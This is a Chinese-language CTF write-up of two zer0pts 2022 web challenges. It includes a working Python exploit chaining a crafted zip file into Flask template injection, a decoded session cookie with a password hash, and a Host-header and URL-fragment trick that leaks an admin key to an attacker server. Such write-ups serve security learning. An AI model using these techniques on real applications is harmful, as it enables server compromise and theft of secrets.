[zer0pts2022]miniblog#
由于过滤检查了长度
for m in re.finditer(r"{{", content):
p = m.start()
if not (content[p:p+len('{{title}}')] == '{{title}}' or \
content[p:p+len('{{author}}')] == '{{author}}' or \
content[p:p+len('{{date}}')] == '{{date}}'):
return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None
所以原来在写入博客的地方直接进行注入看来是极其困难的
但是搜搜ssti相关的render_template_string或者render_template函数,注意到post
路由下的模板渲染函数没有用到这个过滤,
return flask.render_template_string(post['content'],
title=post['title'],
author=post['author'],
date=post['date'])
post['content']可以由用户import操作导入到flask数据库中,即用户可控
所以需要import一个含有ssti payload的文件,之后读取就可以rce
解题思路:首先注册一个用户A,通过flask-unsign
将相关的信息从flask的cookie中解密出来,利用这些信息构造一个zip包(这个zip包只需要保证其中所有的字符都小于0x7f,0x7f是因为flask的HTTP请求只能发送Unicode),再注册一个用户B,其用户名就是该zip包的内容,使用用户B的身份直接从网站导出backup.db
,最后使用用户A的身份将backup.db
导入,即成功。
注册用户a并获取cookie
.eJwNyjsOwyAMANC7eM5gfg7ubQwmAkVJK2jVIcrdw_r0LvjIGFVGhRdEo5mTpmAVvWaL6EiTRmdcUQwBFviN0k85ytzfKq1N-r_7rq1PIcM-sWiOG4ZMnthZpI1JxPh1ZbgfXZUghQ.YoHslQ.aRrle9kd8GwwUPffM0MXO4H2BEE
flask-unsign --decode --cookie .eJwNyjsOwyAMANC7eM5gfg7ubQwmAkVJK2jVIcrdw_r0LvjIGFVGhRdEo5mTpmAVvWaL6EiTRmdcUQwBFviN0k85ytzfKq1N-r_7rq1PIcM-sWiOG4ZMnthZpI1JxPh1ZbgfXZUghQ.YoHslQ.aRrle9kd8GwwUPffM0MXO4H2BEE
解码得到用户信息
{'passhash': '81dc9bdb52d04dc20036dbd8313ed055', 'username': 'thaii', 'workdir': '6194b9adc8f05c64693206f96aa14779'}
放入我魔改的脚本中
import re, os, json, sys
import requests
import binascii
import zipfile
cmd = "id"
url = 'http://192.168.239.119:9999/'
sess = requests.Session()
text = "{'passhash': '81dc9bdb52d04dc20036dbd8313ed055', 'username': 'thaii', 'workdir': '6194b9adc8f05c64693206f96aa14779'}"
##解cookie所得的用户信息
infos = json.loads(text.replace("\'", "\""))
workdir, username, passhash = infos['workdir'], infos['username'], infos['passhash']
print(f"[+] We now got workdir: {workdir}, passhash: {passhash}, username: {username}")
def generate_payload(cmd):
data = {}
test_payload = "P" * 140 + "{{config}}"
#test_payload = "P" * 110 + "{{1*2}}"
valid = False
while not valid:
data = {
"title": "exploit",
"id": "exploit",
"date": "2022/3/26 19:42:30",
"author": "thai",
"content": test_payload
}
ret = binascii.crc32(json.dumps(data).encode('utf8')) & 0xffffffff
barr = bytearray.fromhex(hex(ret)[2:].rjust(8, '0'))
for i in barr:
if i > 0x7f:
test_payload += 'A'
break
elif barr.index(i) == len(barr) - 1:
valid = True
return json.dumps(data)
print('[*] Cracking the CRC32...')
payload = generate_payload(cmd)
print(f'[+] Now we got the payload: {payload}')
# Create a malicious zip comment
# 简单查看一下后发现需要修改时间戳 frFileTime 为 \x00\x00, frCompressedSize、frUncompressedSize 和 deExternalAttributes 必须小于128
# frFileTime - date_time
# deExternalAttributes - external_attr ( https://stackoverflow.com/questions/434641/how-do-i-set-permissions-attributes-on-a-file-in-a-zip-file-using-pythons-zip )
# frCompressedSize、frUncompressedSize 只要加垃圾字符填充到不会出问题即可
with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_STORED, compresslevel=0) as z:
filename = f"post/{workdir}/exploit.json"
info = zipfile.ZipInfo(filename=filename, date_time=(1980, 0, 0, 0, 0, 0))
info.external_attr = 0o464 << 16
z.writestr(info, payload)
z.comment = f'SIGNATURE:{username}:{passhash}'.encode()
with open('exploit.zip', 'rb') as f:
evil_data = f.read()
for i in bytearray(evil_data):
if i > 0x7f:
print(i)
sys.exit("[!] char greater than 0x7f is in the zip!")
print('[+] evil zip file has been checked!')
print('[*] Create a new session to export the file.')
sess2 = requests.Session()
sess2.post(url=url + 'api/login', json={"username": evil_data.decode('utf-8'), "password": "1234"})
r = sess2.get(url=url + 'api/export')
exported_zip = json.loads(r.text)['export']
print(exported_zip)
print('[+] Now we get the exported file.')
print(f'[!] Try to execute the cmd: {cmd}')
print("try by yourself")
运行脚本,脚本会生成可用的压缩包Base64格式,
把它放入txt文件中直接在a用户处上传(这里的测试payload是{{config}})
一开始我尝试{{1*2}}
说明的确是可以ssti的,尝试{{config}}也可以,那这样以后就可以rce了
[zer0pts2022]discord party
照着官解的思路进行了复现
审计app.py
is_admin = isinstance(key, str) and get_key(id) == key
说明只要得到admin的key就之后访问post界面就可以出
审计了bot的crawler.py
import discord
...
while True:
r = c.blpop('report', 1)
if r is not None:
key, value = r
try:
await channel.send(value.decode())
except Exception as e:
print(f"[ERROR] {e}")
第一次遇到还可以import discord的,看来以前还是太菜了,这代码大约是说bot会将message写进redis,然后再发送到某个秘密channel中。
审计/api/report
parsed = urllib.parse.urlparse(url.split('?', 1)[0])
if len(parsed.query) != 0:
return flask.jsonify({"result": "NG", "message": "Query string is not allowed"})
if f'{parsed.scheme}://{parsed.netloc}/' != flask.request.url_root:
return flask.jsonify({"result": "NG", "message": "Invalid host"})
# Parse path
adapter = app.url_map.bind(flask.request.host)
endpoint, args = adapter.match(parsed.path)
if endpoint != "get_post" or "id" not in args:
return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})
# Check ID
...
key = get_key(args["id"])
message = f"URL: {url}?key={key}\nReason: {reason}"
try:
get_redis_conn(DB_BOT).rpush(
'report', message[:MESSAGE_LENGTH_LIMIT]
)
except Exception:
return flask.jsonify({"result": "NG", "message": "Post failed"})
return flask.jsonify({"result": "OK", "message": "Successfully reported"})
要先构造url满足前面的各种要求,同时如果能让他发key到我们vps上就可以了
结果发现它前面各种要求其实是对url = flask.request.form["url"]
进行检查
但是下面这个发送请求的代码
adapter = app.url_map.bind(flask.request.host)
endpoint, args = adapter.match(parsed.path)
仔细一看发现其实只是对request的host进行请求
所以只要修改host header就可以发送任意请求了,前面的url参数的检查只是个幌子
还有另一种解法:
在有效的一个post链接后面添加# <vps>
,由于题目没有检查hash字段,且最终是将整个url进行拼接,空格又打断了实际上发出去时的url判断,实际上就变成了将vps和后面的参数拼起来又发了一次
http://party.ctf.zer0pts.com:8007/post/0123456789abcdef# http://example.com/
由于比赛已经结束,他discard的机器人已经关掉了,所以没有办法在vps上获取key
不过这道题的代码审计的点已经get到,做法也已经复现,故不深究了